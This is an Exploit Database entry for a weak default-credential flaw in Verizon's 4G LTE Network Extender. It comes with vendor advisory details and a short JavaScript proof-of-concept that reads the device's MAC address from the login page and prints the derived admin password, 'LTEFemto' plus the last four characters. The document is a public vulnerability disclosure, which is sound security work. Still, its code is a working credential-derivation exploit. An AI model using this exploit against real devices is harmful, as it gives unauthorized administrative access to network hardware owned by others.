Verizon 4G LTE Network Extender – Weak Credentials Algorithm

• Exploit Database
• 13 阅读

• 作者： LiquidWorm
  日期： 2022-04-19
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50875/

• Exploit Title: Verizon 4G LTE Network Extender - Weak Credentials Algorithm
  Exploit Author: LiquidWorm
  
  
  Vendor: Verizon Communications Inc.
  Product web page: https://www.verizon.com
  Affected version: GA4.38 - V0.4.038.2131
  
  Summary: An LTE Network Extender enhances your indoor and 4G
  LTE data and voice coverage to provide better service for your
  4G LTE mobile devices. It's an extension of our 4G LTE network
  that's placed directly in your home or office. The LTE Network
  Extender works with all Verizon-sold 4G LTE mobile devices for
  4G LTE data service and HD Voice-capable 4G LTE devices for voice
  service. This easy-to-install device operates like a miniature
  cell tower that plugs into your existing high-speed broadband
  connection to communicate with the Verizon wireless network.
  
  Desc: Verizon's 4G LTE Network Extender is utilising a weak
  default admin password generation algorithm. The password is
  generated using the last 4 values from device's MAC address
  which is disclosed on the main webUI login page to an unauthenticated
  attacker. The values are then concatenated with the string
  'LTEFemto' resulting in something like 'LTEFemtoD080' as the
  default Admin password.
  
  Tested on: lighttpd-web
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2022-5701
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
  
  
  17.02.2022
  
  --
  
  
  snippet:///Exploit
  //
  // Verizon 4G LTE Network Extender Super Awesome JS Exploit
  //
  
  console.log("Calling 'isDefaultPassword' API");
  let req = new Request("/webapi/isDefaultPassword");
  let def = req.url;
  
  const doAjax = async () => {
  const resp = await fetch(def);
  if (resp.ok) {
  const jsonyo = await resp.json();
  return Promise.resolve(jsonyo);
  } else {
  return Promise.reject("Smth not rite captain!");
  }
  }
  doAjax().then(console.log).catch(console.log);
  
  await new Promise(t => setTimeout(t, 1337));
  
  console.log("Verizon Admin Password: ");
  let mac = document.querySelector("#mac_address").innerHTML;
  console.log("LTEFemto" + mac.substr(-4));